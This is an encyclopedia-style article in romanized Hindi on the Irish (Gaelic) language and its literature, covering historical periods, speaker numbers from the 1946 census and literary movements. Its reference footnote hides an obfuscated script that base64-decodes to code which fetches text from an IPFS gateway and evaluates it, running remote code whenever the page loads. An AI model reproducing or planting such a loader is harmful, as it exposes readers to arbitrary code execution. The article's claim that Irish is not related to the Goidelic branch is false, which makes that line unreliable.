आयरिश
ayarish ayaralaiand ki bhasha tatha sahity ko 'ayarish' nam se jana jata hai. ayaralaiand mean aangrejoan ke prabhutvakal mean to aangreeji ki hi pradhanata rahi, par desh ki svadhinata ke bad vahaan ki apani bhasha ayarish (gaili) ko phir se mahatv diya gaya. gaili ka sahity paanchavi shatabdi ee. tak ka milata hai. ayarish bharat yooropiy kul ki keltik shakha ke goideli varg se sanbaddh nahian mani jati hai. vikas ki drishti se ayarish bhasha ke itihas ko tin kaloan mean vibhakt kiya jata hai-(1) prachin ayarish satavian sadi navian sadi ke madhy tak, (2) madhyakalin ayarish navian se 12vian sadi tak tatha (3) adhunik 13vian sadi ke uparaant. adhunik ayarish ko pun: do kaloan mean baantate haian-17vian sadi se poorv tatha 17vian sadi ke bad. rashtriy punarjagaran ke phalasvaroop ayarish ko desh mean phir se sthapit to kiya gaya, parantu adhunik ayarish ka koee ek sthirikrit roop nahian ban saka hai. ayarish ki kee boliyaan ab bhi mahatv ki sthiti lie hue haian. pramukhat: ayarish bole janevale kshetroan mean 1946 ki ganana ke anusar 1,92,963 ayarish bhashabhashi batae ge the, jab ki sanpoorn ayaralaiand mean yah sankhya 5,88,725 thi. is sankhya mean kaphi b da samooh aise logoan ka hai jo aangreji ka prayog bhi saman suvidha aur ichchha se karata hai.
praranbhik ayarish sahity mean shauryagathaoan ki pradhanata rahi hai jo gady tatha pady ke mile jule roop mean likhi gee thian. aise gathachakroan mean 'alastar' ka nam vishesh mahatvapoorn hai. isake atirikt adikalin ayarish kavita mean git tatv ki bhi pradhanata thi. aisa kavy pramukhat: dharmik tatha prakriti sambandhi preranaoan ki prithabhoomi mean likha gaya tha. in dharmik gitoan mean seant paitrik ka git tatha ultan ka seant brijit ke prati git vishesh roop se ullekhaniy haian. navian tatha 10vian sadi ke asapas aitihasik abhas denevale sahity ka sarjan hua. dharmik sahity ke aantargat upadesh, santoan ke charitr tatha ilaham adi ate haian. is varg ke lekhakoan mean maikel o' klere (17vian sadi) ka nam mahatvapoorn hai. phir is yug mean aitihasik rachanaean bhi likhi geean.
praranbhik adhunik ayarish sahity ko klaisikal yug kahakar bhi abhihit kiya jata hai. 13vian se 17vian shatabdi ke bich pramukhat: darabaroan mean likha gaya kavy aise kaviyoan dvara prastut kiya gaya jinhean peshevar kaha ja sakata hai. in kaviyoan ne apani kuchh rachanaean gady mean bhi likhian. 17vian sadi ke aant tak yah charanakavy samapt ho jata hai. ne kavyasanpraday mean svaraghat par adharit chhandayojana prachalit huee. is yug ke pramukh kavi the eegan o' rahili (18vian sadi ka poorv) tatha dharmik kavi tag gaile o' suilayaan. rivaivalist aandolan ke pramukh lekhakoan mean haian---th aaumas o' kriomathaan (mrityu--1937), th aaumas o' suilayaan, paiplet o' konar tatha mahare.
ayarish punarjagaran ka ek sashakt roop aangreji sahity mean bhi vyakti hua hai jahaan ayaralaiand ke aangreji lekhakoan ne apani rachanaoan mean ayarish lokatatv, shabdavidhan tatha pratikayojana ke atyant saphal prayog kie haian. is aandolan ko ayarish ya keltik punarjagaran ke nam se jana jata hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 399 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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